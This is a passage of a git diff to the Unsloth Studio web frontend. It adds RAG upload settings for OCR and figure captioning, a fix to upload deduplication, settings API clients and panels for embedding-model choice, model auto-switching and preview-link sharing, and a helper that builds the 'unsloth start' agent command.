+++ b/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx
@@ -9,6 +9,7 @@ import {
   SelectValue,
 } from "@/components/ui/select";
 import { Slider } from "@/components/ui/slider";
+import { Switch } from "@/components/ui/switch";
 import { ToggleGroup, ToggleGroupItem } from "@/components/ui/toggle-group";
 import {
   Tooltip,
@@ -109,6 +110,12 @@ export function RetrievalSettingsSection() {
   const setRagAutoInjectMinScore = useChatRuntimeStore(
     (s) => s.setRagAutoInjectMinScore,
   );
+  const ragOcrScanned = useChatRuntimeStore((s) => s.ragOcrScanned);
+  const setRagOcrScanned = useChatRuntimeStore((s) => s.setRagOcrScanned);
+  const ragCaptionFigures = useChatRuntimeStore((s) => s.ragCaptionFigures);
+  const setRagCaptionFigures = useChatRuntimeStore(
+    (s) => s.setRagCaptionFigures,
+  );
 
   return (
     <div className="flex flex-col gap-5 pt-1">
@@ -202,6 +209,51 @@ export function RetrievalSettingsSection() {
           format={(v) => v.toFixed(2)}
         />
       </div>
+
+      <div className="flex items-start justify-between gap-3">
+        <div className="flex flex-col">
+          <span className="flex items-center gap-1.5 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+            OCR scanned pages
+            <InfoHint>
+              Read text off scanned or image-only PDF pages with the loaded
+              model's vision, at upload time, so picture-only documents become
+              searchable. Needs a vision model; pages with a text layer are
+              unaffected.
+            </InfoHint>
+          </span>
+          <span className="text-[12px] leading-[1.3] text-muted-foreground">
+            Transcribe image-only PDF pages when attaching.
+          </span>
+        </div>
+        <Switch
+          checked={ragOcrScanned}
+          onCheckedChange={setRagOcrScanned}
+          aria-label="OCR scanned pages"
+          className="mt-0.5"
+        />
+      </div>
+
+      <div className="flex items-start justify-between gap-3">
+        <div className="flex flex-col">
+          <span className="flex items-center gap-1.5 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+            Describe figures &amp; charts
+            <InfoHint>
+              Caption PDF figures, charts, tables and diagrams at upload with the
+              loaded model's vision, so their content becomes searchable. Needs a
+              vision model; adds vision calls for detected figures.
+            </InfoHint>
+          </span>
+          <span className="text-[12px] leading-[1.3] text-muted-foreground">
+            Read charts and diagrams when attaching.
+          </span>
+        </div>
+        <Switch
+          checked={ragCaptionFigures}
+          onCheckedChange={setRagCaptionFigures}
+          aria-label="Describe figures and charts"
+          className="mt-0.5"
+        />
+      </div>
     </div>
   );
 }
diff --git a/studio/frontend/src/features/rag/components/use-rag-documents.ts b/studio/frontend/src/features/rag/components/use-rag-documents.ts
index 488d9ed6d0..8e756b2782 100644
--- a/studio/frontend/src/features/rag/components/use-rag-documents.ts
+++ b/studio/frontend/src/features/rag/components/use-rag-documents.ts
@@ -2,6 +2,12 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { useCallback, useEffect, useRef, useState } from "react";
+import { useChatRuntimeStore } from "@/features/chat";
+
+import {
+  CHAT_RAG_CAPTION_KEY,
+  CHAT_RAG_OCR_KEY,
+} from "@/features/chat/stores/chat-runtime-store";
 import { toast } from "@/lib/toast";
 import {
   deleteDocument,
@@ -45,13 +51,19 @@ export function useRagDocuments(
   }, [documents]);
   // documentId -> signature; forgotten on delete, cleared on scope change.
   const sigByDocId = useRef<Map<string, string>>(new Map());
-  const sigAttached = useCallback(
-    (sig: string) => {
-      for (const s of sigByDocId.current.values()) if (s === sig) return true;
-      return false;
-    },
-    [],
-  );
+  // Skip a re-selected file only if a matching doc is healthy or still indexing. A doc
+  // that completed with 0 chunks is re-ingestable (e.g. a scan attached before a vision
+  // model loaded); the backend re-ingests on the same hash, so let it through.
+  const sigBlocksReupload = useCallback((sig: string) => {
+    const ids = new Set<string>();
+    for (const [id, s] of sigByDocId.current) if (s === sig) ids.add(id);
+    if (ids.size === 0) return false;
+    const docs = documentsRef.current.filter((d) => ids.has(d.id));
+    if (docs.length === 0) return false; // sig tracked but doc gone -> allow re-upload
+    return docs.some(
+      (d) => d.status !== "completed" || (d.numChunks ?? 0) > 0,
+    );
+  }, []);
   // True while upload() runs, so the scope-change effect can tell a real switch
   // from lazy thread materialization mid-upload (which must not reset).
   const uploadInFlightRef = useRef(false);
@@ -82,7 +94,11 @@ export function useRagDocuments(
       const controller = new AbortController();
       trackedJobs.current.set(jobId, controller);
 
-      const finish = (status: DocumentStatus, error?: string | null) => {
+      const finish = (
+        status: DocumentStatus,
+        error?: string | null,
+        numChunks?: number | null,
+      ) => {
         if (status === "failed") {
           // Drop the chip rather than show "Failed"; warn via toast.
           sigByDocId.current.delete(documentId);
@@ -91,7 +107,14 @@ export function useRagDocuments(
             description: error ?? "Indexing failed",
           });
         } else {
-          patchDoc(documentId, { status, error: null, progress: 1 });
+          // Record numChunks so re-selecting this file dedups (vs a 0-chunk doc, which
+          // stays re-ingestable); the SSE "complete" frame carries it.
+          patchDoc(documentId, {
+            status,
+            error: null,
+            progress: 1,
+            ...(numChunks != null ? { numChunks } : {}),
+          });
         }
         trackedJobs.current.delete(jobId);
       };
@@ -105,7 +128,7 @@ export function useRagDocuments(
                 progress: ev.progress ?? null,
               });
             } else if (ev.type === "complete") {
-              finish("completed");
+              finish("completed", null, ev.num_chunks);
               return;
             } else if (ev.type === "error") {
               finish("failed", ev.error ?? "Indexing failed");
@@ -121,6 +144,7 @@ export function useRagDocuments(
                 ? "failed"
                 : "completed",
             job.error,
+            job.numChunks,
           );
         } catch {
           if (controller.signal.aborted) {
@@ -132,7 +156,8 @@ export function useRagDocuments(
             for (let i = 0; i < 600; i++) {
               if (controller.signal.aborted) break;
               const job = await getJob(jobId);
-              if (job.status === "completed") return finish("completed");
+              if (job.status === "completed")
+                return finish("completed", null, job.numChunks);
               if (job.status === "failed") {
                 return finish("failed", job.error ?? "Indexing failed");
               }
@@ -231,12 +256,21 @@ export function useRagDocuments(
       tempId: string,
     ) => {
       try {
+        // Send vision-pass overrides only after the user has explicitly set them;
+        // otherwise backend env defaults own the ingest policy.
+        const state = useChatRuntimeStore.getState();
+        const hasLocal = (key: string) =>
+          typeof window !== "undefined" && window.localStorage.getItem(key) !== null;
+        const ocr = hasLocal(CHAT_RAG_OCR_KEY) ? state.ragOcrScanned : undefined;
+        const caption = hasLocal(CHAT_RAG_CAPTION_KEY)
+          ? state.ragCaptionFigures
+          : undefined;
         const result =
           activeScope.type === "kb"
-            ? await uploadKnowledgeBaseDocument(activeScope.kbId, file)
+            ? await uploadKnowledgeBaseDocument(activeScope.kbId, file, ocr, caption)
             : activeScope.type === "project"
-              ? await uploadProjectDocument(activeScope.projectId, file)
-              : await uploadThreadDocument(activeScope.threadId, file);
+              ? await uploadProjectDocument(activeScope.projectId, file, ocr, caption)
+              : await uploadThreadDocument(activeScope.threadId, file, ocr, caption);
         sigByDocId.current.set(result.documentId, fileSignature(file));
         if (seenIds.has(result.documentId)) {
           setDocuments((rows) => rows.filter((row) => row.id !== tempId));
@@ -286,7 +320,7 @@ export function useRagDocuments(
         // one look like nothing happened. Dedup re-selections up front.
         const fresh: Array<{ tempId: string; file: File }> = [];
         for (const file of Array.from(files)) {
-          if (sigAttached(fileSignature(file))) {
+          if (sigBlocksReupload(fileSignature(file))) {
             toast.info(`${file.name} is already indexed - skipping`);
             continue;
           }
@@ -332,7 +366,7 @@ export function useRagDocuments(
         uploadInFlightRef.current = false;
       }
     },
-    [scope, uploadOne, sigAttached],
+    [scope, uploadOne, sigBlocksReupload],
   );
 
   const remove = useCallback(
diff --git a/studio/frontend/src/features/rag/types/rag.ts b/studio/frontend/src/features/rag/types/rag.ts
index d01854f5a7..1277500ae6 100644
--- a/studio/frontend/src/features/rag/types/rag.ts
+++ b/studio/frontend/src/features/rag/types/rag.ts
@@ -39,6 +39,7 @@ export interface IndexJob {
   stage?: string | null;
   progress?: number | null;
   error?: string | null;
+  numChunks?: number | null;
 }
 
 /** One SSE frame from /jobs/{jobId}/events. */
@@ -47,6 +48,7 @@ export interface JobEvent {
   stage?: string | null;
   progress?: number | null;
   error?: string | null;
+  num_chunks?: number | null;
 }
 
 /** Coords 0..1, top-left origin. */
diff --git a/studio/frontend/src/features/recipe-studio/api/index.ts b/studio/frontend/src/features/recipe-studio/api/index.ts
index b227b960d1..4fe24b1f6d 100644
--- a/studio/frontend/src/features/recipe-studio/api/index.ts
+++ b/studio/frontend/src/features/recipe-studio/api/index.ts
@@ -400,28 +400,37 @@ export async function streamRecipeJobEvents(options: {
   const decoder = new TextDecoder();
   let buffer = "";
 
-  while (true) {
-    const { value, done } = await reader.read();
-    if (done) {
-      break;
-    }
-    buffer += decoder.decode(value, { stream: true });
-    let separatorIndex = buffer.search(/\r?\n\r?\n/);
-    while (separatorIndex >= 0) {
-      const rawEvent = buffer.slice(0, separatorIndex);
-      const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
-      buffer = buffer.slice(separatorIndex + separatorLength);
+  try {
+    while (true) {
+      const { value, done } = await reader.read();
+      if (done) {
+        break;
+      }
+      buffer += decoder.decode(value, { stream: true });
+      let separatorIndex = buffer.search(/\r?\n\r?\n/);
+      while (separatorIndex >= 0) {
+        const rawEvent = buffer.slice(0, separatorIndex);
+        const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
+        buffer = buffer.slice(separatorIndex + separatorLength);
 
-      if (rawEvent.startsWith("retry:")) {
+        if (rawEvent.startsWith("retry:")) {
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+
+        const parsed = parseJobEvent(rawEvent);
+        if (parsed) {
+          options.onEvent(parsed);
+        }
         separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
       }
-
-      const parsed = parseJobEvent(rawEvent);
-      if (parsed) {
-        options.onEvent(parsed);
-      }
-      separatorIndex = buffer.search(/\r?\n\r?\n/);
+    }
+  } finally {
+    // Release the stream lock now instead of leaking the reader until GC.
+    try {
+      await reader.cancel();
+    } catch {
+      // already closed
     }
   }
 }
diff --git a/studio/frontend/src/features/settings/api/embedding-model.ts b/studio/frontend/src/features/settings/api/embedding-model.ts
new file mode 100644
index 0000000000..9a61142f73
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/embedding-model.ts
@@ -0,0 +1,91 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type EmbeddingModelSettings = {
+  embeddingModel: string;
+  defaultEmbeddingModel: string;
+  isCustom: boolean;
+};
+
+type ApiEmbeddingModelSettings = {
+  // biome-ignore lint/style/useNamingConvention: API schema
+  embedding_model: string;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  default_embedding_model: string;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  is_custom: boolean;
+};
+
+/** 409 from the backend: the model could not be verified as an embedding model
+ * (wrong type, gated repo, or offline). Retry with force to save anyway. */
+export class EmbeddingModelVerificationError extends Error {}
+
+/** 403 from the backend: the repo is flagged unsafe by Hugging Face's security scan.
+ * A hard block; force cannot bypass it, so it must not enter the "save anyway" flow. */
+export class EmbeddingModelBlockedError extends Error {}
+
+function fromApi(settings: ApiEmbeddingModelSettings): EmbeddingModelSettings {
+  return {
+    embeddingModel: settings.embedding_model,
+    defaultEmbeddingModel: settings.default_embedding_model,
+    isCustom: settings.is_custom,
+  };
+}
+
+export async function loadEmbeddingModelSettings(): Promise<EmbeddingModelSettings> {
+  const res = await authFetch("/api/settings/embedding-model");
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to load embedding model setting"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+export async function updateEmbeddingModelSettings(
+  embeddingModel: string,
+  options?: { hfToken?: string; force?: boolean },
+): Promise<EmbeddingModelSettings> {
+  const res = await authFetch("/api/settings/embedding-model", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+      // biome-ignore lint/style/useNamingConvention: API schema
+      embedding_model: embeddingModel,
+      // biome-ignore lint/style/useNamingConvention: API schema
+      hf_token: options?.hfToken || null,
+      force: options?.force ?? false,
+    }),
+  });
+  if (res.status === 403) {
+    throw new EmbeddingModelBlockedError(
+      await readFastApiError(res, "This model is blocked by a security scan"),
+    );
+  }
+  if (res.status === 409) {
+    throw new EmbeddingModelVerificationError(
+      await readFastApiError(res, "Could not verify the embedding model"),
+    );
+  }
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to save embedding model"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+export async function resetEmbeddingModelSettings(): Promise<EmbeddingModelSettings> {
+  const res = await authFetch("/api/settings/embedding-model", {
+    method: "DELETE",
+  });
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to reset embedding model"),
+    );
+  }
+  return fromApi(await res.json());
+}
diff --git a/studio/frontend/src/features/settings/api/openai-auto-switch.ts b/studio/frontend/src/features/settings/api/openai-auto-switch.ts
new file mode 100644
index 0000000000..80ffc084d0
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/openai-auto-switch.ts
@@ -0,0 +1,89 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type OpenAIAutoSwitchSettings = {
+  enabled: boolean;
+  autoUnloadIdleSeconds: number;
+  defaultEnabled: boolean;
+  // True when the idle-unload loop will actually unload (e.g. enabled via the
+  // UNSLOTH_MODEL_IDLE_TTL env var even while the toggle is off).
+  idleUnloadActive: boolean;
+};
+
+type ApiOpenAIAutoSwitchSettings = {
+  enabled: boolean;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  auto_unload_idle_seconds: number;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  default_enabled: boolean;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  idle_unload_active?: boolean;
+};
+
+let cachedSettings: OpenAIAutoSwitchSettings | null = null;
+let inFlightSettings: Promise<OpenAIAutoSwitchSettings> | null = null;
+
+function fromApi(
+  settings: ApiOpenAIAutoSwitchSettings,
+): OpenAIAutoSwitchSettings {
+  return {
+    enabled: settings.enabled,
+    autoUnloadIdleSeconds: settings.auto_unload_idle_seconds,
+    defaultEnabled: settings.default_enabled,
+    idleUnloadActive: settings.idle_unload_active ?? false,
+  };
+}
+
+async function fetchOpenAIAutoSwitchSettings(): Promise<OpenAIAutoSwitchSettings> {
+  const res = await authFetch("/api/settings/openai-auto-switch");
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to load model auto-switch settings"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+function cacheSettings(settings: OpenAIAutoSwitchSettings) {
+  cachedSettings = settings;
+  return settings;
+}
+
+export async function loadOpenAIAutoSwitchSettings() {
+  if (cachedSettings) {
+    return cachedSettings;
+  }
+  inFlightSettings ??= fetchOpenAIAutoSwitchSettings()
+    .then(cacheSettings)
+    .finally(() => {
+      inFlightSettings = null;
+    });
+  return inFlightSettings;
+}
+
+export async function updateOpenAIAutoSwitchSettings(
+  enabled: boolean,
+  autoUnloadIdleSeconds: number,
+): Promise<OpenAIAutoSwitchSettings> {
+  const res = await authFetch("/api/settings/openai-auto-switch", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+      enabled,
+      // biome-ignore lint/style/useNamingConvention: API schema
+      auto_unload_idle_seconds: autoUnloadIdleSeconds,
+    }),
+  });
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(
+        res,
+        "Failed to update model auto-switch settings",
+      ),
+    );
+  }
+  return cacheSettings(fromApi(await res.json()));
+}
diff --git a/studio/frontend/src/features/settings/api/preview-sharing.ts b/studio/frontend/src/features/settings/api/preview-sharing.ts
new file mode 100644
index 0000000000..f3f6989023
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/preview-sharing.ts
@@ -0,0 +1,62 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type PreviewSharingSettings = {
+  enabled: boolean;
+  defaultEnabled: boolean;
+};
+
+type ApiPreviewSharingSettings = {
+  enabled: boolean;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  default_enabled: boolean;
+};
+
+function fromApi(settings: ApiPreviewSharingSettings): PreviewSharingSettings {
+  return {
+    enabled: settings.enabled,
+    defaultEnabled: settings.default_enabled,
+  };
+}
+
+export async function loadPreviewSharing(): Promise<PreviewSharingSettings> {
+  const res = await authFetch("/api/settings/preview-sharing");
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to load preview sharing settings"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+export async function updatePreviewSharing(
+  enabled: boolean,
+): Promise<PreviewSharingSettings> {
+  const res = await authFetch("/api/settings/preview-sharing", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({ enabled }),
+  });
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to update preview sharing settings"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+// Rotate the server-side signing secret, invalidating every previously shared
+// /p preview link in one step. Newly copied links keep working.
+export async function rotatePreviewLinks(): Promise<void> {
+  const res = await authFetch("/api/settings/preview-links/rotate", {
+    method: "POST",
+  });
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to revoke preview links"),
+    );
+  }
+}
diff --git a/studio/frontend/src/features/settings/components/agent-command.ts b/studio/frontend/src/features/settings/components/agent-command.ts
new file mode 100644
index 0000000000..9e87922970
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/agent-command.ts
@@ -0,0 +1,73 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Build the `unsloth start <agent>` command for the API-keys panel.
+// `unsloth start` reads UNSLOTH_STUDIO_URL (default 127.0.0.1:8888) and only
+// auto-mints a key for a loopback server, so the bare command is correct only for
+// the default local server. For a non-default port or tunnel/remote base, emit the
+// URL (plus a key for non-loopback) so the copy targets what the UI shows.
+
+const DEFAULT_STUDIO_PORT = "8888";
+const DEFAULT_AGENT = "claude";
+
+// URL.hostname brackets IPv6 literals (`new URL("http://[::1]:8888").hostname` is
+// "[::1]"), so strip the brackets before matching the bare "::1" loopback rules below.
+function normalizeHost(host: string): string {
+  const lower = host.toLowerCase();
+  return lower.startsWith("[") && lower.endsWith("]") ? lower.slice(1, -1) : lower;
+}
+
+// The bare `unsloth start` probes exactly http://127.0.0.1:8888, so only that literal
+// host earns the bare command. `localhost` can resolve to ::1 (and `::1` is never
+// probed), so both keep an explicit UNSLOTH_STUDIO_URL -- harmless when they alias
+// 127.0.0.1, correct when they don't.
+function isDefaultLocalHost(host: string): boolean {
+  return host === "127.0.0.1";
+}
+
+// Match the CLI auto-mint rule (is_loopback_url): localhost, ::1, and all of 127.0.0.0/8.
+function isLoopbackHost(host: string): boolean {
+  if (host === "localhost" || host === "::1") return true;
+  const octets = host.split(".");
+  return (
+    octets.length === 4 &&
+    octets[0] === "127" &&
+    octets.every((o) => /^\d{1,3}$/.test(o) && Number(o) <= 255)
+  );
+}
+
+export function buildAgentCommand(
+  base: string | null | undefined,
+  key: string | null | undefined,
+  os: "unix" | "windows",
+  agent: string = DEFAULT_AGENT,
+): string {
+  const bare = `unsloth start ${agent}`;
+
+  let url: URL | null = null;
+  try {
+    if (base) url = new URL(base);
+  } catch {
+    url = null;
+  }
+  // Unknown base: fall back to the bare default-local command.
+  if (!url) return bare;
+
+  const host = normalizeHost(url.hostname);
+  const loopback = isLoopbackHost(host);
+  // Default local server (http://127.0.0.1/localhost:8888): bare command
+  // auto-discovers it. The CLI's bare default probes plain HTTP, so an HTTPS
+  // loopback on the same port must keep its explicit UNSLOTH_STUDIO_URL.
+  if (url.protocol === "http:" && isDefaultLocalHost(host) && url.port === DEFAULT_STUDIO_PORT) {
+    return bare;
+  }
+
+  // Non-default server: set the URL; non-loopback also needs an explicit key.
+  let cmd = bare;
+  if (!loopback && key) cmd += ` --api-key ${key}`;
+
+  const studioUrl = url.origin;
+  return os === "windows"
+    ? `$env:UNSLOTH_STUDIO_URL="${studioUrl}"; ${cmd}`
+    : `UNSLOTH_STUDIO_URL=${studioUrl} ${cmd}`;
+}
diff --git a/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx
new file mode 100644
index 0000000000..b0e9a41b7d
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx
@@ -0,0 +1,134 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  Combobox,
+  ComboboxContent,
+  ComboboxEmpty,
+  ComboboxInput,
+  ComboboxItem,
+  ComboboxList,
+} from "@/components/ui/combobox";
+import { Spinner } from "@/components/ui/spinner";
+import type { PipelineType } from "@huggingface/hub";
+import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search";
+import { useDebouncedValue } from "@/hooks";
+import { type ReactElement, useMemo, useRef } from "react";
+
+// HF pipeline filter for embedding models; matches the backend's
+// is_embedding_model signals (sentence-similarity / feature-extraction).
+const EMBEDDING_TASKS: readonly PipelineType[] = [
+  "sentence-similarity",
+  "feature-extraction",
+];
+
+type EmbeddingModelComboboxProps = {
+  value: string;
+  /** Fires on typing, selection, and Enter with the current text. */
+  onChange: (value: string) => void;
+  accessToken?: string;
+  disabled?: boolean;
+  placeholder?: string;
+  ariaLabel?: string;
+  className?: string;
+};
+
+export function EmbeddingModelCombobox({
+  value,
+  onChange,
+  accessToken,
+  disabled,
+  placeholder,
+  ariaLabel,
+  className,
+}: EmbeddingModelComboboxProps): ReactElement {
+  const selectingRef = useRef(false);
+  const anchorRef = useRef<HTMLDivElement>(null);
+  // Fully controlled: the parent updates value on every keystroke, so the
+  // prop itself is the search query.
+  const debouncedQuery = useDebouncedValue(value);
+
+  const { results, isLoading } = useHubModelSearch(debouncedQuery, {
+    task: EMBEDDING_TASKS,
+    accessToken,
+    excludeGguf: true,
+    enabled: !disabled,
+    // Curated unsloth listing when empty (the global top-downloads page holds
+    // no unsloth mirrors to float); a typed query searches the whole Hub.
+    ownerScope: debouncedQuery.trim() ? "all" : "unsloth",
+  });
+
+  const items = useMemo(() => {
+    const ids = results.map((item) => item.id);
+    const selected = value.trim();
+    if (selected && !ids.includes(selected)) {
+      ids.push(selected);
+    }
+    return ids;
+  }, [results, value]);
+
+  return (
+    <div
+      ref={anchorRef}
+      className={className}
+      onKeyDown={(event) => {
+        if (event.key !== "Enter") return;
+        if (!(event.target instanceof HTMLInputElement)) return;
+        event.preventDefault();
+        const typed = event.target.value.trim();
+        if (typed) {
+          onChange(typed);
+        } else if (items.length > 0) {
+          onChange(items[0]);
+        }
+      }}
+    >
+      <Combobox
+        items={items}
+        filteredItems={items}
+        filter={null}
+        value={value.trim() ? value : null}
+        onValueChange={(next) => onChange(next ?? "")}
+        onInputValueChange={(next) => {
+          if (selectingRef.current) {
+            selectingRef.current = false;
+            return;
+          }
+          onChange(next);
+        }}
+        itemToStringValue={(item) => item}
+        autoHighlight={true}
+      >
+        <ComboboxInput
+          className="h-8 w-full font-mono [&_input]:text-[11px]"
+          placeholder={placeholder}
+          aria-label={ariaLabel}
+          disabled={disabled}
+        />
+        <ComboboxContent anchor={anchorRef}>
+          {isLoading ? (
+            <div className="flex items-center gap-2 px-2 py-3 text-xs text-muted-foreground">
+              <Spinner className="size-3.5" />
+              Searching...
+            </div>
+          ) : (
+            <ComboboxEmpty>No embedding models found</ComboboxEmpty>
+          )}
+          <ComboboxList>
+            {(id: string) => (
+              <ComboboxItem
+                key={id}
+                value={id}
+                onPointerDown={() => {
+                  selectingRef.current = true;
+                }}
+              >
+                <span className="truncate font-mono text-[11px]">{id}</span>
+              </ComboboxItem>
+            )}
+          </ComboboxList>
+        </ComboboxContent>
+      </Combobox>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
new file mode 100644
index 0000000000..581c78ebd1
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
@@ -0,0 +1,165 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Input } from "@/components/ui/input";
+import { Switch } from "@/components/ui/switch";
+import { useT } from "@/i18n";
+import { useEffect, useState } from "react";
+import {
+  type OpenAIAutoSwitchSettings,
+  loadOpenAIAutoSwitchSettings,
+  updateOpenAIAutoSwitchSettings,
+} from "../api/openai-auto-switch";
+import { SettingsRow } from "./settings-row";
+import { SettingsSection } from "./settings-section";
+
+export function ModelAutoSwitchSection() {
+  const t = useT();
+  const [settings, setSettings] = useState<OpenAIAutoSwitchSettings | null>(
+    null,
+  );
+  const [draftIdleSeconds, setDraftIdleSeconds] = useState("0");
+  const [error, setError] = useState<string | null>(null);
+  const [isSaving, setIsSaving] = useState(false);
+
+  useEffect(() => {
+    let cancelled = false;
+    void loadOpenAIAutoSwitchSettings()
+      .then((loaded) => {
+        if (cancelled) return;
+        setSettings(loaded);
+        setDraftIdleSeconds(String(loaded.autoUnloadIdleSeconds));
+        setError(null);
+      })
+      .catch((loadError) => {
+        if (cancelled) return;
+        setError(
+          loadError instanceof Error
+            ? loadError.message
+            : t("settings.general.modelAutoSwitch.loadError"),
+        );
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [t]);
+
+  // Parse the idle-seconds draft to a non-negative integer; empty/invalid -> null.
+  const parseIdleSeconds = (): number | null => {
+    if (!draftIdleSeconds.trim()) {
+      return null;
+    }
+    const parsed = Number(draftIdleSeconds);
+    return Number.isInteger(parsed) && parsed >= 0 ? parsed : null;
+  };
+
+  const persist = async (
+    enabled: boolean,
+    idleSeconds: number,
+    syncDraft = true,
+  ) => {
+    setIsSaving(true);
+    setError(null);
+    try {
+      const saved = await updateOpenAIAutoSwitchSettings(enabled, idleSeconds);
+      setSettings(saved);
+      if (syncDraft) {
+        setDraftIdleSeconds(String(saved.autoUnloadIdleSeconds));
+      }
+    } catch (saveError) {
+      setError(
+        saveError instanceof Error
+          ? saveError.message
+          : t("settings.general.modelAutoSwitch.saveError"),
+      );
+    } finally {
+      setIsSaving(false);
+    }
+  };
+
+  // Idle-unload is tied to auto-switch (the freed model reloads via the swap).
+  // Toggling off preserves the saved seconds rather than zeroing them — the
+  // backend gates unloading on the enabled flag, so it never unloads while off.
+  // Enabling commits the drafted value, falling back to the last saved one so
+  // it can never get stuck.
+  const handleToggle = (enabled: boolean) => {
+    const savedIdleSeconds = settings?.autoUnloadIdleSeconds ?? 0;
+    if (!enabled) {
+      void persist(false, savedIdleSeconds, false);
+      return;
+    }
+    void persist(true, parseIdleSeconds() ?? savedIdleSeconds);
+  };
+
+  const handleSaveIdle = () => {
+    const idleSeconds = parseIdleSeconds();
+    if (idleSeconds === null) {
+      setError(t("settings.general.modelAutoSwitch.idleError"));
+      return;
+    }
+    void persist(true, idleSeconds);
+  };
+
+  return (
+    <SettingsSection title={t("settings.general.modelAutoSwitch.sectionTitle")}>
+      <SettingsRow
+        label={t("settings.general.modelAutoSwitch.enable")}
+        description={t("settings.general.modelAutoSwitch.enableDescription")}
+      >
+        <Switch
+          checked={settings?.enabled ?? false}
+          disabled={!settings || isSaving}
+          onCheckedChange={handleToggle}
+        />
+      </SettingsRow>
+      <SettingsRow
+        label={t("settings.general.modelAutoSwitch.idleUnload")}
+        description={t(
+          "settings.general.modelAutoSwitch.idleUnloadDescription",
+        )}
+      >
+        <div className="flex flex-col items-end gap-1">
+          <div className="flex items-center gap-2">
+            <div className="relative w-28">
+              <Input
+                type="number"
+                min={0}
+                step={1}
+                value={draftIdleSeconds}
+                aria-label="Idle auto-unload seconds"
+                disabled={!settings?.enabled || isSaving}
+                onChange={(event) => setDraftIdleSeconds(event.target.value)}
+                className="h-8 w-full pr-8"
+              />
+              <span className="pointer-events-none absolute inset-y-0 right-3 flex items-center text-xs font-medium text-muted-foreground">
+                s
+              </span>
+            </div>
+            <Button
+              variant="outline"
+              size="sm"
+              disabled={!settings?.enabled || isSaving}
+              onClick={handleSaveIdle}
+            >
+              {isSaving ? t("common.saving") : t("common.save")}
+            </Button>
+          </div>
+          {error ? (
+            <span className="max-w-[260px] text-right text-xs text-destructive">
+              {error}
+            </span>
+          ) : settings && !settings.enabled && settings.idleUnloadActive ? (
+            <span className="max-w-[260px] text-right text-xs text-muted-foreground">
+              {t("settings.general.modelAutoSwitch.idleActiveViaEnv")}
+            </span>
+          ) : settings && !settings.enabled ? (
+            <span className="max-w-[260px] text-right text-xs text-muted-foreground">
+              {t("settings.general.modelAutoSwitch.idleNeedsEnable")}
+            </span>
+          ) : null}
+        </div>
+      </SettingsRow>
+    </SettingsSection>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx
index 4085aa2ab0..c43dd0f219 100644
--- a/studio/frontend/src/features/settings/components/usage-examples.tsx
+++ b/studio/frontend/src/features/settings/components/usage-examples.tsx
@@ -27,50 +27,76 @@ import {
